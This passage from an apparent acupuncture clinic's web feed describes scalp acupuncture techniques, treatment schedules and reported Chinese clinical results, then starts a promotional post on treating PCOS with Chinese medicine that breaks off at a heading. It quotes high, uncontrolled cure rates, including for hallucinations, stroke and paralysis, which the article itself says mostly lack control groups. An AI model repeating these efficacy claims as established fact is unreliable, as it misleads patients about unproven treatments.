The affected part of the body is to be moved during needle stimulation.  If the person cannot make the movement on their own, then the patient will visualize moving the breath to the affected part and, when possible, an assistant will move the body part.  After the needle stimulation, the patient is encouraged to continue the movements.  In cases where the legs are involved, the patient walks, if possible (several patients at Zhu’s clinic would walk around the block, others might walk the length of the room).  Dr. Zhu expressed the belief that a function of scalp acupuncture is to improve or re-establish the connections from the central nervous system to the peripheral nervous system.  The sending of signals between these two parts of the nervous system during treatment is critical.  The intention of the patient to move the affected body part (or the mental practice of moving the breath to the body part) sends signals from the central nervous system to the periphery, while actual movements of the body part send signals back from the periphery back to the central system.

Before withdrawing the needles, Zhu recommends manipulating the needle again while the patient performs breathing exercises.  When it is time to remove the needles, press the skin around the point with the thumb and index finger of the left hand, rotate the needle gently and lift slowly to the subcutaneous level.  From there, the withdrawal should be rapid, and the punctured site should be pressed for a while with a dry cotton ball to avoid bleeding.

Body points are sometimes used as an adjunct to the scalp acupuncture therapy. Dr. Zhu uses relatively few body points (typically 1–3, if any), but emphasizes obtaining the qi sensation with propagation of qi sensation towards the affected part.  Examples of body points are ST-36 for lower limb weakness, or LI-11 or GB-20 for arm weakness.  If a body part affected by disease or injury involves very localized pain or spasm, Dr. Zhu might use body points primarily for local treatment (rather than somewhere else along a meridian affecting the area), and usually with deep needling.  Body points are sometimes selected because of failure to obtain the desired qi reaction when using scalp points. The body needles are also retained during the full length of the patient’s long scalp acupuncture treatment, for up to two hours, not just 20–30 minutes as is often the case with standard acupuncture therapy.

In most cases, treatment is given every day (at least 5 days per week) for 1–2 weeks, then every other day for another 1–2 weeks, followed by twice per week treatment for as long as necessary.  The frequency of treatment may be adjusted according to the severity of the condition and rate of improvement.  According to Lu, for best results in treating hemiplegia due to stroke, scalp acupuncture should initially be performed twice per day.  For other chronic conditions, daily treatment or every other day treatment is recommended for the initial therapeutic plan, to be followed-up by less frequent treatments once progress has been made.

CONCLUDING NOTES

It is evident that after 30 years, scalp acupuncture is still evolving in its techniques and applications.  InAmerica, Dr. Zhu and his students have developed the techniques to suit the Western patients (see Appendices 2, 3, and 4).  In reviewing the Chinese literature (see Appendix 5), one can draw certain general conclusions.  Most authors suggest that utilizing scalp and body acupuncture together is a valuable method.  The recommended frequency of treatment is high, from once or twice per day to once every other day, with a course of treatment typically involving 10–12 consecutive sessions, followed by a break of 2–4 days, sometimes 5–7 days.  Needle insertion, manipulation, retention, and removal are approached with differing techniques.  An expressed concern is to minimize pain for the patient and also to make the procedure practical for the acupuncturist.  Thus, the frequently-mentioned method of rapid needle twirling may be replaced, in some cases, by other methods (including electrical stimulation) because of the potential for causing pain for the patient and fatigue and irritation for the acupuncturist.  At least one study compared the efficacy of twirling (manual and machine-aided) and electrical stimulation and the conclusion was that both were useful.  The twirling method with large needles remains a common practice inChina.

In all cases, it is considered important to obtain an appropriate needling sensation (not pain); often, this is to be accomplished by utilizing needle manipulation at least two to three times in the course of a single session (for 2–3 minutes each time).  The manipulation is usually rapid, with frequency of twirling in the range of 150–300/minute or electrical stimulation reported in the range of 150–700/minute.  Total duration of needle retention in most cases is 20–45 minutes, though some patients are sent home with needles in place (as Dr. Zhu recommends), for retention of several hours up to a maximum of 2 days.

Indications for scalp acupuncture include virtually all the usual indications for body acupuncture, but the main applications are stroke, paralysis, pain, and emergency situations (Zhu has published a book regarding the latter: A Handbook for Treatment of Acute Syndromes by using Acupuncture and Moxibustion, which includes scalp and other acupuncture techniques).  Contraindications for scalp acupuncture include very high blood pressure (220/120), heart disease, infection, post-operative scars in the acupuncture zone, some cases of pregnancy (mainly habitual miscarriage), persons who are extremely nervous, and infants whose fontanels have not closed.

In a report fromHarbin, several aspects of scalp acupuncture for stroke patients were commented upon, which largely match the methodology and interpretation expressed by Zhu:

1.      The needle runs in the layer of loose connective tissue between the galea and the pericranium.

2.      The response of “getting qi” is more importantly measured by observing an improvement in movement or sensation of the affected part of the body rather than a needling sensation like the one that is generated when the affected parts are directly needled.

3.      Scalp points are especially effective because they are close to the part of the body that is affected, namely the brain.

4.      Prolonged stimulation time, with rapid needling speed, gives better results.  For example, constant needle twirling [the stimulation method more often used inChina] for 3 minutes gave superior results to constant twirling for half a minute.

5.      The effect of scalp needling is to stimulate the cerebral cortex; it can reverse the imposed inhibitory mechanisms on nerve function, revive cells that are not completely destroyed, and enhance the function of nerve cells that are subjected to ultra-low oxygen levels.

In general, Chinese clinical reports indicate a high degree of effectiveness; cases and situations leading to better or poorer outcome have been elucidated.  InAmerica, there is less tendency to provide daily acupuncture, which might reduce the effectiveness.  Given the general unfamiliarity with acupuncture, there is more likelihood of patients waiting to try acupuncture as a last resort rather than a first effort, so that the chances of improvement are more limited.  The scalp acupuncture technique taught by Dr. Zhu has been used at ITM’s An Hao Natural Health Care Clinic inPortlandto treat a multiple sclerosis (see Appendix 3 for protocol details), peripheral neuropathy, migraine headache, and Bell’s palsy.  Good results were attained in cases where body acupuncture had not been sufficiently effective. 

APPENDIX 1: Zone Charts          Acupuncture Zones in Zhu’s Acupuncture.

 

APPENDIX 1, continued: Zone Charts

 


Acupuncture Zones Based on Motor/Sensory, Speech/Hearing, and Other Divisions 
(not used in Zhu’s acupuncture system).

Appendix 2: Dr. Zhu’s Work inAmerica

Dr. Qingming Zhu opened his neurology clinic for scalp acupuncture therapy inSanta Cruz,Californiain October, 1997, after offering his services for 6 years inSan Francisco.  Santa Cruzis a small beach town about 85 miles south ofSan Franciscothat supports an acupuncture college—the Five Branches Institute. The neurology clinic shares space in the same building as the college, serving also as a training center for acupuncture students.  Another acupuncture clinic is also in the same building, staffed by several experienced Western practitioners, and provides the more standard variety of acupuncture therapy. Although Zhu has learned English, his work is aided by a translator who can speed up and clarify the communications. Still, many of his house calls are made without this help.

While Zhu’s work has gotten some favorable press, his efforts at helping those with neurological problems remains an uphill battle.  InCalifornia, medical insurance generally covers the cost of acupuncture, but insurers have repeatedly refused to pay for other medical expenses associated with Zhu’s work, such as special exercise equipment developed for those with paralysis, herbal treatments, and extended physical therapy.  The main hospital in neighboringSan Jose, after initially letting him work on in-patients, has since refused to continue such permission, viewing his techniques unfavorably, despite the overwhelming support of those receiving the treatments.  Medical doctors have scoffed at his claims to be able to help quadriplegics by scalp acupuncture.

His clinic is a small facility with one main room, having a dozen chairs for patients to sit on while receiving scalp acupuncture, and a pair of curtained-off segments of the room for beds so that patients can receive acupuncture while lying down.  There is a small office, which often turns into a treatment room, and one small private treatment room off the office.  At this facility, about 20 patients visit each day, staying for 2–3 hours: after the needles are inserted, Zhu stimulates the needles from time to time.  The room becomes quite crowded as most of the patients come with helpers.  The clinic is usually open only 4–5 hours a day; much of the rest of Zhu’s long and grueling work day is spent making home visits to those who are so severely impaired that they can’t travel to the clinic.  He also teaches at the college.

His treatment technique relies almost exclusively on scalp acupuncture, sometimes using a dozen or more needles in the scalp at one time for the more severely debilitated patients.  Although the needling is sometimes painful, he has adapted the treatment so that even babies and young children accept it.  Zhu rarely prescribes herbs, but primarily relies on frequent scalp acupuncture therapy (daily or every other day).  He has a few patent remedies available at his clinic and has access to crude herbs for making decoctions, or preparing topical applications, from the college pharmacy.

Zhu treats a wide range of neurological problems, including cerebral palsy, epilepsy, injury-induced paraplegia, multiple sclerosis, and post-stroke syndrome, as well as disorders that seem to fall beyond the ability of neurologists to pin them down with a name.  The results of Zhu’s work are somewhat difficult to elucidate.  With the absence of support from the community of neurologists who could provide detailed monitoring, and the limited assistance available during patient treatment (which doesn’t permit careful documentation of the cases), the extent and nature of the responses are not well established. At Zhu’s clinic, patients report notable improvements compared to their earlier conditions.  In a few cases of quadriplegia, Dr. Zhu is using a video camera to illustrate the extent of changes in patient capabilities. For more information on Dr. Zhu and his clinic, write: Zhu’sAcupunctureMedical & NeurologyCenter,100 O’Connor Drive, Suite 20,San Jose,CA95128, or call Five Branches Institute (831-476-9424).

 

 

APPENDIX 3:  Scalp Acupuncture Protocol for Multiple Sclerosis

 

The following protocol was developed by Dr. Edythe Vickers, based on the teachings of Dr. Mingqing Zhu, and is being used at the Institute for Traditional Medicine.

1.      If the primary lesions are in the brain, insert needle in Eding Zone 1, needling along the GV line towards the face.  This is intended to improve vision (e.g., to relieve optic neuritis) and increase mental clarity.  If the primary lesions are in the neck, then insert the needle in Dingzhen Zone 1, which governs the neck.

2.      Insert needle from Eding Zone 3 to Eding Zone 4, needling along the GV line towards the back of the head.  This is intended to tonify the kidney/liver system that is weak in nearly all persons with multiple sclerosis.  If the patient is suffering from a bladder disorder (typically, there is inability to completely empty the bladder, and there may also be incontinence; many individuals rely on a catheter), then needle only within Eding Zone 4.  This latter treatment is the same as selected by Chen and Chen  for treatment of enuresis.

3.      Use two additional needles to complete the treatment.  For persons who are not highly symptomatic, the two needles may be placed parallel to the needle in Eding Zones 3 and 4, about 1/4 inch on either side of the central needle.  This will enhance the tonification of the liver/kidney system and strengthen the legs, bladder, and abdominal organs.  For persons who have weakness, tingling sensation, or other disorders affecting the arms and hands, needle instead Dingnie Zone 2, with the needle aiming towards the face (towards ST-8).  If the problem affects one side of the body, needle the opposite side of the scalp, but if it affects both sides, needle both sides of the scalp.  For persons with weakness and numbness in the legs, use Dingnie Zone 1, with the needle towards the GV-21.  For persons with aching and numbness in the shoulders, needle the Dingjie  Zone.  Again, needle either one side or both sides, as appropriate.

Use the thrusting technique (jinqi) in most cases, as this will tonify the deficiency.  The manipulation should be carried out until the patient notices a change in their condition.  When treating the arm or leg scalp zones, have the patient attempt movement of the body part while the needle is manipulated.  For bladder disorders, have the patient breathe deeply (to the lower abdomen, Dan Tian), which should focus attention on the area being treated and help to produce a warming sensation.  When treating Eding 1 (for the eyes), have the patient gently rub their palms over the eyes. 

If an effect is not noted (clarifying of vision, change in sensation or strength in affected limbs) within about 3 minutes of manipulation time, check that the needling location and needle placement are correct; if correct, it may be necessary to try the lifting method (chouqi) instead, especially if there is pain. It may also be valuable to treat body points, such as ST-36 and GB-34 for the legs and LI-4 and LI-11 for the arms.  Once a response is noted, the needle manipulation can be ceased.  Patients with leg weakness should attempt to walk for a few minutes.  After about 15 minutes (from the previous manipulation), the needles should be manipulated again.  At the end of the third manipulation, the patient will be instructed to retain the needles for a period of several hours, up to two days, and then remove the needles themselves or with the aid of someone who can assist them.  The needles used for body acupuncture are removed at the end of the in-clinic treatment session.

Appendix 4: Treatment Method at Acuherb Clinic

Ken Y. Wang, Ph.D., L.Ac., O.M.D., Scientist in Oncology,  has been using scalp acupuncture for several years and currently practices at the American Institute of Acupuncture, Acuherb Clinic inHouston,Texas.  He described his basic treatment techniques as follows, indicating that there are a number of other procedures that he may utilize to complete the treatment:

Treatment Course.  On the first day, the patient is treated in the morning and in the evening; for the next nine days, the patient is treated once daily.  Then, treatment continues at the rate of three times per week until the condition has resolved or the patient has reached what appears to be the maximum level of improvement.

Point Selection.  The motor, sensory, balance, vision, and speech areas are utilized as appropriate.  For unilateral paralysis, use the contralateral side, but use bilateral treatment of the zones for bilateral paralysis.  In cases of generalized brain damage (as occurs with anoxic brain damage), Zhu’s Eding zone is used predominantly, along with GV-24 and UB-3 bilaterally.  If the patient’s scalp becomes sensitive to needling, as might occur with frequent needling of the same zone, it is helpful to alternate (from one treatment to the next) between the motor and sensory points and the Eding zone.

Needling Procedure.  Needles are inserted one cun obliquely into the subaproneurotic space.  Needles point downwards and are angled off towards the affected limb.  It is stimulated by small-amplitude, lift and thrust technique at rapid frequency (200 times per minute if possible).  Body needles are also inserted, using standard procedures.  Both the scalp and body acupuncture needles are retained for 20–30 minutes and stimulated every 2–3 minutes during this time. 

Neuromuscular Re-education.  Immediately after the basic needle treatment, the body needles are removed, but the scalp needles are retained.  The patient is taken through a series of exercises while the scalp needles are being stimulated simultaneously.  If the patient is comatose or otherwise unable to perform these, the practitioner (or assistant) performs the otherwise passive motions for the patient.  The patient, all the while, is encouraged to try to think about doing the exercises, to visualize it, to visually watch the movements (if possible).  Verbal encouragement is even given to those who are comatose.  As soon (in the treatment course) as the patient is able to perform the movements, they are encouraged to do so, even if the movement is slight.  Electrostimulation may be utilized (frequency is 200/minute) in place of manual stimulation.  As they become stronger, the practitioner adds resistance to each exercise (weights can be added), thus requiring the patient to apply greater strength (and, in some cases, more muscle groups) to the task.  The effort put forth by the patient is of utmost importance. 

For Comatose Patients.  Needle PC-8 and KI-1 bilaterally plus GV-26.  The needles should be stimulated strongly (manual) for 10 minutes.  Then add PC-6 and SP-6 with strong stimulation before proceeding to needle the rest of the body and scalp.

 

APPENDIX 5:  Commentaries and Clinical Observations from the Chinese Literature

1.  About needling techniques and duration.

For peripheral facial paralysis, Cui Yunmeng  suggests using a .38 mm needle and a 75 mm length.  The needle is twirled at a speed of 200 times per minute.  Needles are retained for 20–30 minutes, being twirled twice.  Needling is done in the facial motor area of the scalp, on the same side as the affected part.

For treatment of hemiplegia, Wang, et al., give extensive details regarding point selection (a combination of scalp and body points).  Acupuncture is given once daily for 40 minutes, with 10 days as one treatment course, and a rest of 3 days between courses.  After insertion, the needle is twisted for 5 minutes at a speed tolerable to the patient who is advised to exercise the limbs as best he can.  Electric acupuncture is then used at a frequency of 150–200 pulses/minute for the head points and 100 pulses/minute for the body points.

Lu Shoukang says that: “In scalp acupuncture there are many types of manipulation.  The common one is the rapid needle-twirling method, that is, after being inserted to the lower layer of the galea aponeurotica, the needle is tightly held by the thumb and index fingers, and rapidly twirled for about 200 times per minute.  This manipulation requires a high frequency and continuous movement and lasts 2–3 minutes each time.  Within half an hour, the manipulation should be done 2–3 times.  Owing to the fact that by this method the needle often twines the muscular fibers and causes pains, it is not well accepted by the patient.  Furthermore, the metacarpophalangeal joint of the operator fatigues easily.  For this, the finger twirling is replaced by electric twirling, in which the patient is given pulse electric stimulations with dense and loose waves and a current intensity tolerable by the patient.”

For the treatment of post-stroke syndrome, Pang Hong reports the following method, based on the teachings of K.Y. Chen: “Scalp acupoints were needled with the reinforcing or the reducing method as indicated.  For reinforcement, the filiform needle was inserted at an angle of 15–30 degrees to the scalp, slowly and forcefully to beneath the aponeurosis.  Pressure was applied to the point for one minute, and the needle was quickly withdrawn after a retention of 10 minutes.  For reduction, the manipulations were similar, except that after 10 minutes of retention the needle was withdrawn slowly, when the skin formed a mount around the retreating needle.  For either reinforcement or reduction, the needling took 15 minutes, including the 10 minute period of needle retention.  Courses of treatment were 10 daily sessions, with efficacy appraised after three courses.”  He went on to comment that: “For the promotion of myodynamia and motile functions, the method of slow-rapid reinforcing-reducing was significantly better than the method of flat twisting.  The application of reinforcing and reducing manipulations would shorten the therapeutic course, promote the therapeutic efficacy, and decrease the rate of disability.  The method of slow-rapid reinforcing-reducing in scalp acupuncture had the advantages of causing less pain and inducing proper occurrence of the needling sensation; therefore, it was well received by the patients.” With regard to the selection of points, Pang Hong claims that: “For the treatment of apoplexy, the selection of acupoints on either the healthy or the affected side makes no difference in therapeutic efficacy.”  In his clinical work, he treated both sides, alternating sides from one session to the next. 

In a teaching round on apoplexy , Professor Guo describes his technique for scalp acupuncture: “Size 28 needles are commonly used, usually of the length of 2 cm.  First, locate the upper point of the motor area, and with the left hand fixed on it, insert the needle obliquely towards the lower point at an angle of 15 degrees with the skin surface.  Holding the needle with the right first three fingers, insert the needle quickly until it reaches the loose cellular tissue beneath the scalp.  Then turn the needle horizontally with respect to the skin surface, and push it to a depth of about 1.5 cm.  Twist and rotate the needle but never lift and thrust it.  Hold the needle between the medial surface of the terminal part of the right index finger and the palmar surface of the terminal part of the right thumb.  With repeated extensions and flexions of the interphalangeal joint of the index finger, one rotates the needle in one direction till it turns two rounds and then in the other direction for another two rounds.  One may rotate this way 200 times for one minute, repeat rotating 5–10 minutes later, and retain the needle till 30 minutes after the insertion (including the time of rotating).  With rotating of the head of the needle, the patient usually reports the feeling of local heat, numbness, and tics.  There may sometimes be radiation of such feelings to contralateral and homolateral limbs.  In general, therapeutic effects are achieved with mere appearance of local needling feeling; nevertheless, still better results will be had if the feelings radiate to the limbs.  You may produce all the needling feelings with electrical stimulation.  To do this, one inserts a 1 cun needle into the upper point of the motor area and pushes it horizontally towards the lower point, and then insert a 1.5 cun needle at the division point between the upper 1/5 and middle 2/5 [of the motor area].  With these needles connected to corresponding electrodes in the electroacupuncture apparatus, one then passes electricity, often in a frequency of 3/sec [180/minute] with a tolerable intensity for 20 minutes.”

Qu Hong and his colleagues described their scalp acupuncture technique for treating pseudobulbar paralysis as follows: “A filiform needle was rapidly inserted for a depth of 1–1.5 cun in the direction of the motor/sensory area, followed by rapid twistings for 0.5–1 minute until the appearance of the needling sensation.  The needle was retained for 40 minutes, with small amplitude twistings for another 0.5–1 minute before withdrawal….Practice has shown that needling on the motor and sensory areas simultaneously, and on the affected side and the healthy side simultaneously produces better curative effects.  In light of the experience of Professor Shi Xuemin, the authors adopted deeper insertion of the needles both on the scalp and on the body. Retention of the needles enhanced vasodilation of the cerebral vessels to increase cerebral circulation more than simple twistings of the needles for the recovery of nervous functions.  The authors therefore lengthened the needle retention to 40 minutes.”

Liu Chunhui and Wang Ying reported on their experience of treating acute apoplexy during a medical visit toYemen.  For scalp acupuncture, they reported that: “The needles were twirled once every 10 minutes at a rate of 200 times per minute, followed by retaining them for 30 minutes.  The patients were asked to exercise the limb during the needle manipulation.”  The manipulation was applied every 10 minutes and acupuncture (body plus scalp) was administered each morning and afternoon for a treatment course of 12 days, with an interval of 3 days between courses (using 1–6 courses).

Wu Chengxun reported on using three techniques of needle manipulation.  Manual twirling was done with a frequency of 200–500 times per minute and the twirling was performed every 3–5 minutes; a needle twirling machine was applied at a frequency of 300 times per minute and applied in the same fashion; an electroacupuncture device was used with a frequency of 500–700 waves per minute, with continuous stimulation for 10 minutes.  After the stimulations were applied, needles were retained for several minutes so that the total duration of needling was 25 minutes.  The treatment was performed daily for 12 days, and then a rest period of five to seven days was allowed before resuming another course of 12 days treatment.  With a total of 1228 cases of hemiplegia so treated, it was determined that there was no significant difference in the outcome for the three methods of stimulation.

Ji Nan and colleagues used scalp and body acupuncture to treat sequelae of stroke and cerebral injury, claiming improvement in all but 3 of 128 patients, with treatments deemed markedly effective in 42.8% of the total group.  Needles were inserted, as appropriate to the condition being treated, into zones designated motor area, sensory area, vasomotor area, and speech zones I, II, and III.  For paralysis, they used the method of treating the side opposite the affected limb.  The scalp needles were connected to a therapeutic instrument which delivered “sparse and dense waves” over an interval of twenty minutes for each session.  For each session 1 or 2 scalp areas and 2–4 body points (such as ST-36, LI-10, LI-11, LI-15, GB-34, or SI-9, getting qi and then allowing 20 minutes retention) were treated.  Sessions were once daily for 10 days as a course of treatment, applying 2 courses as the standard.

Zhang Naizheng described treatment of tremor artuum in 35 individuals using a combination of body points and scalp acupuncture.  Regarding the latter, he stated: “The dancing tremor controlling region was chosen; needling was done once per day, 10 days for a course of treatment, with an interval of four days between courses, lasting 4 courses.  Using a 26 or 28 gauge, 5 cm long needle, the squeeze-holding method was used for insertion; the angle of insertion was 30 degrees, and the needle was rapidly twirled with a small scope of movement, about 200 times per minute for 2 minutes, and then retained without twirling for 5 minutes; this procedure was repeated three times and then the needle was removed.”

Zhang Mingju reported on treatment of 296 cases of hallucinations using scalp acupuncture.  The method used was point-through-point needling, with the needles inserted at an angle of about 15 degrees with the scalp and running from GV-19 to GV-20 (the Dingzhen 1, which affects the head); auxiliary treatment locations were needled by similar method, starting at the selected point and then needling through to the next point (examples: GB-17 to GB-16; TB-19 to TB-17).  Needles were twirled and agitated for 1–3 minutes.  When the needling sensation is felt is the best time to channel qi to the locality of the disease.  Needles were retained for 1–3 hours.  Acupuncture was performed daily, and 10 sessions constituted on therapeutic course.  After the first course, acupuncture was performed every other day, with 10 sessions constituting the second therapeutic course.  If still necessary, acupuncture was performed twice weekly, with 10 sessions constituting the third therapeutic course.  By this method, 71% were cured and 19% markedly improved.

Zhang Hong reported on treatment of 76 cases of senile urinary incontinence.  Body and scalp acupuncture was used, with scalp points picked in the leg motor and sensory area (1 cm lateral to GV-20, corresponds to Eding 4) and reproduction area (Epang 2).  Electrical stimulation was adopted, with a frequency of about 200 pulses per minute, with the intensity limited to the patient’s tolerance. Needles were retained for 30 minutes.  Treatment was given 5 times per week, with 10 treatments constituting one course, with an interval of one week between courses.  After 1–2 courses, half the cases were cured, and 20 others markedly improved.

2.  About needling pain and needle sensation

Lu Shoukang observes: “In scalp acupuncture, the needle is usually inserted by the penetration needling along the skin.  Since the scalp is rich in nerves and blood vessels and is more painful than the limb when punctured, the needle insertion should be rapid and kept away from the hair follicles and the tip of the needle should be sharp.  After insertion, the needle body should be rapidly pushed to the lower layer of the galea aponeurotica that is the loose connective tissue to allow the needle to be manipulated freely to cause less pains.  In order to strengthen the stimulative sensations, the point-through-point method is used, that is, the needle penetrates several points at the same time.  Sometimes the method of two needles punctured to each other is used.  For instance, one needle is punctured from qianding [GV-21] tobaihui [GV-20] while the other needle from baihui to qianding, both along the midline of the vertex.”

Chen Zaiwen and Chen Ling described treatment of enuresis in children with scalp acupuncture.  It was mentioned that: “For scalp acupuncture, the selection of acupoints needs to be accurate and the manipulation mild to avoid unnecessary pain which might dispose the child unfavorably to acceptance of the treatment.  The author’s choice was a 30–32 gauge filiform needle, 1.5 cun in length.  It was desirable to insert the needle rapidly through the skin in a vertical direction and then the needle was bent to an angle of 30 degrees to the skin to be pushed forward, preferably under the epicranial aponeurosis.  A stronger stimulation often brought about better curative effects.”  Although the authors reported good clinic effect of scalp acupuncture for enuresis, it was said that: “Owing to the needling pain, only 59 cases [out of more than 100] were willing to accept the treatment for a complete course [10 to 15 sessions, undertaken either every day or every other day] or longer.”

3.  About the effectiveness of scalp acupuncture in clinical practice

In a general review of acupuncture therapy, it was said that: “Clinical reports of 2,917 cases of hemiplegia treated in 34 units [clinics] reveal an effective rate of 94.5%, with 58.9% markedly improved….Observation of the graphic [EEG] changes of amplitude, decrease of frequency, decrease of the angle of the main peak, deepening of the valley of the wave indicate that scalp needling dilates blood vessels, improves vascular elasticity, reinforces cardiac contraction, and increases cerebral blood flow.”

A problem with claimed effectiveness rates for scalp acupuncture is that there is rarely a control group (or one that is well-matched) to help sort out improvements that might occur spontaneously or due to other therapeutic measures (such as ordinary physical therapy) that might be undertaken.  However, there may be some benefit to examining the disorders that have been treated by this method and the extent of improvements, whatever the cause, that were noted during the treatment period.

In the article by Chen and Chen regarding enuresis treatment, effectiveness was moderate (only 9 out of 59 were cured), but it was said that: “It seemed to be a general rule that older children were apt to have better curative results; treatment in the afternoon seemed to be better than in the morning, and a longer time of needle retention was better than short time needle retention….A stronger stimulation often brought about better curative effects.”

In an article on scalp acupuncture for hemiplegia, Wang and his colleagues reported that of 110 cases, 29 were essentially cured, with mobility of limbs recovered.  They state that: “Analysis of the 110 cases showed that the location, number and extent of the cerebral lesions correlated closely with the therapeutic effects, and early institution of the acupuncture treatment led to better results….Among 29 cases that were essentially cured, most involved lesions in the external capsule or cerebral lobes, with some single lesions in the internal capsule or brain stem.  However, the 5 ineffective cases had mostly multiple lesions in the basal ganglia, the brain stem, and cerebral ventricles.” 

In an article by Cui Yunmeng, scalp acupuncture for facial paralysis was described.  It was reported that 71 out of 100 cases were cured, using 5–40 treatment sessions, given once daily.

In a report on pseudobulbar paralysis, Qu Hong, Ren Liping, and Guo Yi describe their results of combining scalp acupuncture and body acupuncture: “The treatment was effective in all 28 cases.  19 cases (68%) were cured and 9 cases (32%) were markedly effective.  The shortest course of treatment was 4 sessions and the longest 4 courses [40 sessions]….The patients in this series were all difficult cases of pseudobulbar paralysis refractory to western and Chinese drugs.  The good therapeutic effects indicated the superiority of this modality.”

A study by Wan Zhijie and colleagues on the mechanism of action of scalp acupuncture indicates that cholinesterase is inhibited and, at the same time, muscle force of the extremities is increased. Further, microcirculation is notably enhanced.  In treating hemiplegia, a single treatment (about 25 minutes, including insertion, three sessions of 3-minute twirling with two 5-minutes breaks, and withdrawal of the needles) muscle strength in upper and lower extremities improved by about 20%, whole blood cholinesterase was reduced by about 15%, and speed of blood flow through nail bed capillaries increased by over 30%.  These changes slowly reverted after treatment to reach pretreatment values after 24 hours, confirming the need for daily scalp acupuncture therapy.

Two reports on aphasia (inability to speak) were presented in the Shanghai Journal of Acupuncture and Moxibustion.  In one report, from the GuangdongProvincialHospital, 72 cases of stroke-caused aphasia were treated and evaluated.  The zones selected were from the “speaking zones” (from a different set of zones than used in Zhu’s scalp acupuncture).  After applying the needles and getting the qi reaction, the needles were hooked up to an electroacupuncture device and stimulated for 20 minutes (once per day).  In addition, body acupuncture was applied (mainly GB-20 on one day and GV-16 on the alternate day, with some non-standard, “extra points”).  Those needles were stimulated for about 20 seconds and then retained for 30 minutes (once per day).  After 30 days of treatment, 46% of the patients showed marked improvement, and another 50% showed some improvement.  In the other report, from the Central Hospital of Shantou City (also in Guangdong), aphasia in nine children ages 16 months to 14 years was treated.  The causes were numerous, including viral encephalitis and meningitis.  The speaking zone was treated as the main therapy, and as an adjunct a treatment comprised of needling GV-20, GV-24 and the four points of Sishencong (Extra-6) were treated.  Three needles were used in the speaking zone, they were twirled rapidly for two minutes, then connected to an electroacupuncture device and stimulated for 30 minutes (at 14 Hz).  Treatment lasted from 4–21 days.  Of the 9 patients treated, 4 were reported recovered and 2 improved.

According to the content of these reports, compared to Zhu’s techniques there is shorter duration of individual treatments, reliance on electroacupuncture as stimulation, and no mentioned focus on patient breathing or movements during treatment (e.g., for aphasia, Dr. Zhu needles Eding zone #1 and has the person try to count from 1 to 10, say their address, sing, etc., to use both voice and memory).

4. About the mechanism of action for stroke

In a study of scalp acupuncture applied immediately following a stroke, it was reported that both thromboxane B2 (TXB2) and 6-ketone prostaglandin F10 (6KP) levels in the blood plasma were affected.  These biochemicals are the stable metabolites of substances involved in platelet clumping: thromboxane A2, which induces clumping of platelets and contraction of arteries, and prostaglandin I2, which inhibits platelet clumping and inhibits formation of arterial atheromas (by reducing cell proliferation).

The physicians treated 20 patients who had suffered a stroke within the prior 10 days.  For scalp acupuncture, the major areas selected were the “motion” zone and the “diastole-systole” zone.  Body points were also needled; alternating from one day to the next between treatment of yang meridians (points would be selected from LI-15, LI-11, LI-4, TB-5, GB-30, GB-34, GB-39, or UB-60) and treatment of the yin meridians (points would be selected from HT-1, LU-5 PC-6, SI-13, SP-6, or LV-3).  The scalp needles were strongly stimulated with twirling at 200 times per minute for 2–3 minutes, and followed by the lifting maneuver to get the full qi reaction.  Body points were stimulated less, but it was important to get a qi reaction.  Needle retention was for 30 minutes, with electrostimulation used after getting the qi reaction.  Treatment was carried out for 6 consecutive days, followed by a 1 day rest, as one course of treatment, for a total of 4 courses (one month).  Drugs that might affect thromboxane or prostaglandin levels were discontinued prior to the study. 

It was shown that stroke patients had higher plasma TXB2 levels and lower plasma 6KP levels than healthy persons.  After performing acupuncture on the stroke patients, the TXB2 levels declined and the 6KP levels rose.  The changes were statistically significant, though the parameters did not reach the levels of healthy patients.  The improvements in TXB-6KP levels were interpreted as a biochemical manifestation of harmonizing yin and yang.  The authors thought that the effect of acupuncture was mediated by the cerebral cortex and the nervous humoral system.

]]> The Treatment of Polycystic Ovarian Syndrome (PCOS) with Traditional Chinese Medicine http://acuherb.us/880/ Sun, 04 Sep 2011 00:25:35 +0000 http://acuherb.us/?p=880

Overview of Healthy Ovarian Physiology

The ovaries are two organs on each side of the woman’s uterus which contain follicles, tiny fluid filled sacs (also called cysts), that hold the eggs. Each month approximately twenty eggs start to mature but usually only one egg fully matures; when the fully mature egg is ready, the follicle breaks open to release it. The fully mature egg then travels through the fallopian tube to the uterus for fertilization and implantation.

Overview of Women with PCOS
In women with polycystic ovarian syndrome (PCOS), the ovary doesn’t make all of the hormones it needs for any of the eggs to fully mature. Follicles may start to grow and build up fluid but no one follicle becomes large enough. Instead, some follicles may remain as sacs/cysts. Since no follicle becomes large enough and no egg matures or is released, ovulation does not occur.

The distinctive appearance of PCOS is a thick, shiny, white coating overlying many rows of cysts on the surface of the ovary. These ovarian changes give PCOS its name (“poly” = many, “cystic” = cysts). PCOS is believed to be the most common hormonal abnormality in women of reproductive age and affects approximately 1 in 10 women (an estimated 5 to 7 million women in the United States).

Have you been diagnosed with polycystic ovarian syndrome?
Call Acuherb Clinic for your free 15 minute consultation.
281-461-6499

What are the Causes of PCOS?

The cause(s) of PCOS is unknown at this time; research suggests that many women with this condition may have decreased sensitivity to insulin. When cells are resistant to insulin it means that the effect of insulin on sugar, and other functions, is deficient. More insulin than normal is required to be produced to ensure that the body cells absorb enough sugar. This leads to high insulin levels in the blood stream which, among other effects, make the ovaries overproduce male hormones, called androgens, leading to hormonal imbalances that lead to symptoms of PCOS.

What are the Signs and Symptoms of PCOS?
PCOS is considered a syndrome because it has a number of unrelated symptoms. For this reason, PCOS often goes undiagnosed or misdiagnosed.

Symptoms include:

  • Irregular menstrual cycle (infrequent menstrual periods, no menstrual periods, and/or irregular bleeding)
  • Infrequent or no ovulation
  • Weight gain or obesity
  • Increased levels of male hormones, called androgens, which may lead to excessive hair growth on the face +/or body (especially the face, chest, abdomen, nipple area, or back)
  • History of diabetes, over-production of insulin, and inefficient use of insulin in the body
  • Acne, oily skin, or dandruff
  • Patches of thickened and dark brown or black skin on the neck, groin, underarms, or skin folds
  • Skin tags, or tiny excess flaps of skin in the armpits or neck area

How Does PCOS Contribute to Infertility?

In short, if you are not ovulating regularly every month, the chances of fertilizing the egg are reduced. Because the egg is not released, there is no egg ready for fertilization and implantation in the uterus. Because PCOS affects the quality of the follicle and the state of the endometrium, the result will be that menstrual cycles become more erratic and less predictable. Women with PCOS will often very long cycles and very heavy bleeding, amenorrhea (missed periods), or anovulation (no ovulation) with scanty bleeding. Acupuncture and Chinese herbs help to regulate the menstrual cycle and harmonize the hormonal cycles of the body.

How Do Acupuncture and Chinese Herbs Help PCOS?
